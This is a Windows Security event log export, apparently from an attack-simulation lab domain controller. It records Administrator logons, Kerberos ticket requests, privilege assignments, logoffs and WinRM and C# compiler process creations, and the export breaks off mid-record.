Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253152
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253151
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253150
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Process Information:
	New Process ID:		0x11d0
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253149
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253148
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253147
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253146
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253145
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253144
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19542E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253143
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253142
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19398F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253141
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19542E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253140
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19542E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253139
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253138
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253137
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253136
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x195410

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253135
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x195410

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253134
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x195410
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253133
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253132
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253131
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253130
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x194F42

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253129
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193B8E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253197
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x420
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe48
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC03A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCBD3F505081F049FDA11574DAEF6DA6E5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253196
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198C48

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253195
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198C48
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253194
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253193
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
